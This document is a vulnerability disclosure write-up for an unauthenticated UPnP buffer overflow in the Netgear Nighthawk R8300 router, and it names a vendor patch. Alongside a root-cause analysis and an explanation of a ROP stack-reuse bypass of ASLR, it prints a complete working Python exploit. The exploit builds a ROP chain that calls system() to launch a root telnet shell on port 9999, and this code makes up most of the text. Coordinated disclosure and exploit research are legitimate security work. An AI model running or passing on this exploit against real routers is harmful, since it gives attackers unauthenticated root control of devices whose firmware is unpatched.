TL;DR
Find out how we exploited an unauthenticated Netgear Nighthawk R8300 vulnerability and gained root access to the device.
Vulnerability Summary
The Nighthawk X8 AC5000 (R8300) router released in 2014, is a popular device sold by Netgear with almost 2000 positive reviews on Amazon. A vulnerability in the way the R8300 handles UPNP packets allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the ‘root’ user.
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
Netgear Nighthawk R8300 running firmware versions prior to 1.0.2.134
Vendor Response
The vendor has released a patch and an advisory: https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
Vulnerability Root Cause Analysis
A vulnerability in the way the R8300 handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.
Below picture is the point that recv input point and vulFunction, we can send data to size 0x1fff:

If we look into vulFunction, the pointer (0x025E70) is overwritten with the return address of the strcpy function. The strcpy function has two arguments. arg1 is dst buffer, arg2 is src buffer and it will perform a copy until it meets the NULL byte. The dst buffer local variable is located at the position of ebp-0x634. The src buffer is under our full control and is only limited by its size to 0x1fff. By overflowing the dst buffer we can control PC value:

In order to successfully change the PC value, we need to reach the return part of vulFunction. We have to set its value to an existing pointer value that exists in memory (other loaded libraries functions).


By correctly crafting the data, we obtain control over the PC value:

ASLR Bypassing through Stack Reuse
The router has the ASLR mitigation turned on, which we can bypass using a ROP Attack. However, we are performing a copy call through the use of strcpy, which is sensitive to NULL bytes, which would in turn prevent us to use the ROP attack. Therefore to utilize an address that contains a NULL byte, we will need to use a stack reuse attack.
We will do this by combining two payloads, the composition of first payload is as follows:
s.send('a\x00'+expayload) #expayload is rop gadget
We will be sending a “a\x00” value at the beginning of the payload to avoid triggering the UPNP vulnerability, until our payload is in the the stack.
The second payload will control the PC value and change it to 0x230f0 and trigger the first payload in the stack. 0x230f0 gadget can control stack pointer.

The figure below illustrates the overall exploit and payloads:

We decided to use the BSS area of 0x9E150 to place our strings that we will later use for exploitation. Using strcpy gadget 0x13648 and string gadget in the binary, we can create the exploiting payload and execute system gadget 0x1A83C.


Demo

Exploit
import socket import time import sys from struct import pack a= """ # NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130 # Date : 2020.03.09 # POC : system("telnetd -l /bin/sh -p 9999& ") Execute # Desc : execute telnetd to access router """ print a p32 = lambda x: pack("<L", x) payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7ABBBc9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7DDDBa9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7 AAA Aa9CbEEEECb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4F' expayload = '' payload = payload.replace('z3Bz','\xff\xff\x1b\x40') # Need to Existed Address payload = payload.replace(' AAA ','\xf0\x30\x02\x00') #change eip s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) """ .text:00013644 MOV R0, R10 ; dest .text:00013648 MOV R1, R5 ; src .text:0001364C BL strcpy .text:00013650 MOV R0, R4 .text:00013654 ADD SP, SP, #0x5C ; '\' .text:00013658 LDMFD SP!, {R4-R8,R10,PC} """ bssBase = 0x9E150 #string bss BASE Address expayload += 'a' * 4550 expayload += p32(bssBase+3) # R4 Register expayload += p32(0x3F340) # R5 Register //tel expayload += 'IIII' # R6 Register expayload += 'HHHH' # R7 Register expayload += 'GGGG' # R8 Register expayload += 'FFFF' # R9 Register expayload += p32(bssBase) # R10 Register expayload += 'BBBB' # R11 Register expayload += p32(0x13644) # strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+6) #R4 expayload += p32(0x423D7) #R5 //telnet expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+8) #R4 expayload += p32(0x40CA4 ) #R5 //telnetd\x20 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+10) #R4 expayload += p32(0x4704A) #R5 //telnetd\x20-l expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+11) #R4 expayload += p32(0x04C281) #R5 //telnetd\x20-l/bin/\x20 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+16) #R4 expayload += p32(0x40CEC) #R5 //telnetd\x20-l/bin/ expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+18) #R4 expayload += p32(0x9CB5) #R5 //telnetd\x20-l/bin/sh expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+22) #R4 expayload += p32(0x41B17) #R5 //telnetd\x20-l/bin/sh\x20-p\x20 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+24) #R4 expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x2099 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+26) #R4 expayload += p32(0x03FFC4) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+28) #R4 expayload += p32(0x4A01D) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20& expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy expayload += 'd'*0x5c#dummy expayload += p32(bssBase+30) #R4 expayload += p32(0x461C1) #R5 //telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x13648) #strcpy print "[*] Make Payload ..." """ .text:0001A83C MOV R0, R4 ; command .text:0001A840 BL system """ expayload += 'd'*0x5c#dummy expayload += p32(bssBase) #R4 expayload += p32(0x47398) #R5 expayload += 'c'*4 #R6 expayload += 'c'*4 #R7 expayload += 'c'*4 #R8 expayload += 'd'*4 #R10 expayload += p32(0x1A83C) #system(string) telnetd -l s.connect(('239.255.255.250', 1900)) print "[*] Send Proof Of Concept payload" s.send('a\x00'+expayload)#expayload is rop gadget s.send(payload) def checkExploit(): soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: ret = soc.connect(('192.168.1.1',9999)) return 1 except: return 0 time.sleep(5) if checkExploit(): print "[*] Exploit Success" print "[*] You can access telnet 192.168.1.1 9999" else: print "[*] Need to Existed Address cross each other" print "[*] You need to reboot or execute upnpd daemon to execute upnpd" print "[*] To exploit reexecute upnpd, description" print "[*] Access http://192.168.1.1/debug.htm and enable telnet" print "[*] then, You can access telnet. execute upnpd(just typing upnpd)" s.close() print """ [*] Done ... """